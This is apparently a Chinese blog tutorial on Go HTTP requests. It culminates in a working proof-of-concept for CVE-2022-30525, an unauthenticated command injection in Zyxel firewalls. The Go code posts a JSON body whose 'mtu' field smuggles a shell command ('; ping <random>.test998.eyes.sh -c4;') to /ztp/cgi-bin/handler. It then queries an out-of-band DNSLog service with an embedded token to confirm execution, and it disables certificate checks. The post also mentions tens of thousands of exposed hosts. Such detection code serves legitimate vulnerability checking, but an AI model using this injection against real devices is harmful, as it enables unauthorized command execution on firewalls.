常见Http请求
最近在集中研究Golang,本文简单记录使用Go编写POC——CVE-2022-30525。
1.GET请求
1.1 无参数GET请求
package main
import (
"fmt" //当下面调用到包时会自动填充,vscode存在自动导错包的可能
"io/ioutil"
"net/http"
"time"
)
func main() {
testUrl := "https://www.baidu.com"
//也可以放带参数的URL:https://www.google.com/search?q=param.set
req, err := http.NewRequest("GET", testUrl, nil)
if err != nil {
panic(err)
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36") //自定义http请求头
client := http.Client{
•Timeout: 5 * time.Second, //设置访问超时时间
}
resp, err := client.Do(req) //发送请求
if err != nil { //当出现err不等于nil的时候,说明出现某些错误,需要做异常处理
•fmt.Println("request fail", err.Error())
return
} else {
•fmt.Printf("StatusCode: %v\n", resp.StatusCode) //输出状态码
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
panic(err)
}
fmt.Println(string(body)) //打印源码
}
1.2 带参数GET请求
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
func main() {
//使用bing搜索数字1,url:https://cn.bing.com/search?q=1
url := "https://cn.bing.com/search"
req, err := http.NewRequest("GET", url, nil)
if err != nil {
log.Fatal(err) //打印错误信息
}
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
//设置GET参数
params := req.URL.Query()
params.Add("q", "1")
req.URL.RawQuery = params.Encode() //如果参数中有中文参数,这个方法会进行urlEncode
resp, err := http.DefaultClient.Do(req) //下划线忽略错误
if err != nil {
log.Fatal(err)
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println(string(body)) //打印源码
}
1.3 Json格式返回
https://cloud.tencent.com/developer/article/1544283
GET请求时返回Json数据,使用encoding/json进行格式化
package main
import (
"encoding/json"
"log"
)
func main() {
......
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
var data interface{}
json.Unmarshal(body, &data)
fmt.Println(data)
}
1.4 忽略证书
tr := &http.Transport{
•TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
•Transport: tr,
}
某些Https网站,因为证书问题会抛出如下异常,所以需要忽略证书,在初始化http客户端的时候忽略:
“ x509: certificate signed by unknown authority
panic: runtime error: invalid memory address or nil pointer dereference”
1.5 接收用户参数
var Target string
flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080") //接收用户参数
flag.Parse() //接完参数关闭
2.POST请求
比较粗暴的方法
package main
import (
"fmt"
"net/http"
"strings"
)
func main() {
url := "http://www.target.com"
postData := `
{
•"一股脑全复制进来,再带入使用"
}
`
req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postData))
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/json")
client := http.Client{}
resp, err := client.Do(req) //发送请求
if err != nil {
•fmt.Printf("request fail. %s/n", err.Error())
}
if resp.StatusCode != 200 {
•fmt.Println(resp.StatusCode)
}
}
尝试编写POC(CVE-2022-30525)
1.漏洞说明
存在漏洞的Zyxel防火墙容易受到通过管理 Http 接口进行未经身份验证的远程命令注入的攻击。命令以nobody用户身份执行。此漏洞通过/ztp/cgi-bin/handler URI 被利用,并且是将未经过滤的攻击者输入传递os.system到lib_wan_settings.py. setWanPortSt易受攻击的功能与命令相关联被调用。攻击者可以将任意命令注入到mtu或data参数中。
根据搜索引擎搜索,目前互联网还有49465个IP可能会受到影响;
1.1 漏洞复现做poc编写的信息收集
要编写poc需要知道漏洞如何利用,原理,以及响应的特征等,已知利用方式,进行测试查看相应特征等。
1.1.1 查看漏洞验证失败是怎样的状态
可以看到状态码为302,返回内容也是Found
1.1.2 查看漏洞验证成功是怎样的状态
后面通过多个目标测试发现漏洞不存有时也会返回503状态码,因此无法通过状态码或返回内容进行判断漏洞是否存在。
1.2 采用DNSLog
1.2.1 API用法
子域名:test998.eyes.sh
Token:3377175d
单个请求命中查询:http://eyes.sh/api/{type}/test998/{prefix}/?token=3377175d
- type: 设置为 dns 或者 web
- prefix: 三级域名前缀
检查是否触发 test.test998.eyes.sh,访问:http://eyes.sh/api/dns/test998/test/?token=3377175d
- 返回 True,请求被触发
- 返回 False,请求未触发
多个请求命中查询:http://eyes.sh/api/group/dns/test998/{prefix}/?token=3377175d
- prefix: 三级域名前缀
对于一个较大的Payload集合,首先批量投递payload,再通过单个请求,来检查哪些payload触发执行成功。
- 扫描器投递 payload1,使用域名:payload1.xxx-rce.test998.eyes.sh
- 扫描器投递 payload2,使用域名:payload2.xxx-rce.test998.eyes.sh
- 扫描器投递 payload3,使用域名:payload3.xxx-rce.test998.eyes.sh
- ...
检查是否存在漏洞,访问:http://eyes.sh/api/group/dns/test998/xxx-rce/?token=3377175d
- 返回 False,漏洞未触发
返回 {"success": "true", "data": ["payload3", "payload2", "payload1"]},漏洞被触发,data字段包含成功触发的payload清单,至多返回50个
1.3 poc编写思路
- 用户参数接收
- 用户参数处理
- 漏洞验证并判断是否存在漏洞
- 调用函数
1.4 CVE-2022-30525 POC
package main
import (
"crypto/tls"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"strings"
"time"
)
//1、url处理
func urlHandler(target string) string {
if !strings.HasPrefix(target, "http") { //HasPrefix以http开头则返回true,区分大小写
target = "http://" + target //没有http的添加http
}
if strings.HasSuffix(target, "/") { //判断url是否以/结尾
target = strings.TrimSuffix(target, "/") //TrimSuffix去除/后缀suffix的字符串
fmt.Println(target)
}
return target
}
var rand_str string
//2、发送请求验证漏洞是否存在
func vuln_verify(target string) {
rand.Seed(time.Now().UnixNano()) //设置随机数种子,加上这行代码,可以保证每次随机都是随机的
b := make([]byte, 2) //函数 make 接受一个类型、一个指定的默认长度
rand.Read(b)
rand_str = hex.EncodeToString(b) //编码为16进制
fmt.Printf("rand_str: %v\n", rand_str) //查看结果
url := target + "/ztp/cgi-bin/handler"
postDataStr := `
{
"command":"setWanPortSt",
"proto":"dhcp",
"port":"4",
"vlan_tagged":"1",
"vlanid":"5",
"mtu":"; ping ` + rand_str + `.test998.eyes.sh -c4;",
"data":"hi"
}
`
//-c 4可能会引发报错,在有些系统上,但是不加会不会存在Linux一直ping的可能
req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postDataStr)) //创建请求
if err != nil {
fmt.Println("Create POST request failed", err.Error())
defer req.Body.Close() //避免内存泄漏,关闭HTTP响应
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/json") //发送的json数据,所以需要这个头
//忽略证书
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Transport: tr,
}
resp, err := client.Do(req) //发送POST请求
if err != nil {
fmt.Println("request target fail", err.Error())
fmt.Println(resp.StatusCode)
}
time.Sleep(10 * time.Second) //延时
//3、获取响应判断漏洞是否存在
dnsResponseGet, err := http.Get("http://eyes.sh/api/dns/test998/" + rand_str + "/?token=3377175d")
if err != nil {
fmt.Println("Failed to create dnsResponseGet request", err.Error())
defer dnsResponseGet.Body.Close()
}
body, err := ioutil.ReadAll(dnsResponseGet.Body)
if err != nil {
fmt.Println("Failed to get response", err.Error())
}
fmt.Println(string(body)) //打印查看一下返回内容
if string(body) == "True" {
fmt.Println("Target is vulnerable")
} else if string(body) == "False" {
fmt.Println("The target is not vulnerable")
}
}
//4、调用函数方法引入用户输入
func main() { //顺序执行,可打印参数查看运行是否正常
var Target string
flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080") //接收用户参数
flag.Parse() //接完参数关闭
Target = urlHandler(Target)
vuln_verify(Target)
}
1.5 测试
1.5.1 当目标不可访问时
提示:request target fail
1.5.2 当不存在漏洞时
提示:The target is not vulnerable
1.5.3 当存在漏洞时
提示:Target is vulnerable
总结
- 一开始找了些存在或不存在漏洞的防火墙查看,发现漏洞利用成功或失败的返回状态码不是固定的,存在误报的可能,于是采用DNSlog;
- 最初使用 http://dnslog.cn/平台,用 http://www.dnslog.cn/getdomain.php?t=%f获取一个dnslog域名赋值给dnsLog_txt,再return出去,使用 http://www.dnslog.cn/getrecords.php?t=+ dnsLog_txt 查询响应,但查询dnslog响应的时候为空,发现不对劲,加COOKIE也不行,类似要用随机数,思考陷入了短路不知道怎么把同时把随机数和DNSLog域名抛出去,于是转战换成http://eyes.sh/;
- 编写好后,测试https的网站发现会报错,x509: certificate signed by unknown authority,再逐步解决即可。
本文仅简单记录使用Golang编写POC,欢迎大家留言交流讨论。